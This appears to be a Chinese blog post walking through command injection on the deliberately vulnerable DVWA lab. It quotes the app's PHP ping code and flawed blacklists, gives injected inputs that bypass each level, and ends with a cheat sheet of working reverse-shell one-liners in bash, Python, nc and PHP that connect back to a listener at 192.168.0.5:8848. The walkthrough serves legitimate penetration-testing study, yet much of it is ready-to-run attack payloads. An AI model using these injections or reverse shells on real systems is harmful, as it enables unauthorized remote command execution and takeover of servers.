命令执行以及反弹shell姿势
还是DVWA靶机的Command Injection
功能是在本地使用shell_exec执行ping命令
Low
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
输入没有任何过滤,直接执行输入,这里要了解下命令链接符参考
&& :前一个指令执行成功,后面的指令才继续执行,就像进行与操作一样
|| :前一个命令执行失败,后面的才继续执行,类似于或操作
& :直接连接多个命令
| :管道符,将前一个命令的输出作为下一个命令的输入
; :直接连接多个命令
我们尝试如下输入
127.0.0.1;ls
确实执行了我们的ls命令
Medium
这里只贴添加的代码
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
添加了特定字符过滤,但是没过滤完整,也还是可以执行命令
如下命令都是可以执行的
127.0.0.1&ls
127.0.0.A|ls
127.0.0.A||ls
High
$substitutions = array(
'&' => '',
';' => '',
'| ' => '', # | 后面多了个空格,导致|没被过滤
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
漏洞见注释
可以使用127.0.0.A|ls
命令执行
反弹shell
这里我也记录一下反弹shell
参考
linux文件描述符
linux文件描述符:linux shell下有三种标准的文件描述符,分别如下:
- 0 - stdin 代表标准输入,使用<或<<
- 1 - stdout 代表标准输出,使用>或>>
- 2 - stderr 代表标准错误输出,使用2>或2>>
还有就是>&这个符号的含义,最好的理解是这样的:
- 当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件。
- 当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符
反弹shell
开始之前都在本机开启一个监听,nc -lnvp 8848
注意:如果是对外网进行渗透,建议使用自己的服务器接收shell。否者可能会因为网关的nat导致连不上
linux机制版本
bash -i >& /dev/tcp/192.168.0.5/8848 0>&1
python 版本
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.0.5',8848));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
nc 版本
需要被攻击机安装nc,一般其他shell都不行可以试试这个,最后搏一搏。
nc -e /bin/bash 192.168.0.5 8848
php 版本
php- 'exec("/bin/bash -i >& /dev/tcp/192.168.0.5/8848")'
php -r '$sock=fsockopen("192.168.0.5",8848);exec("/bin/bash -i 0>&3 1>&3 2>&3");'
这里的3是代表之前创建的sock的文件描述符。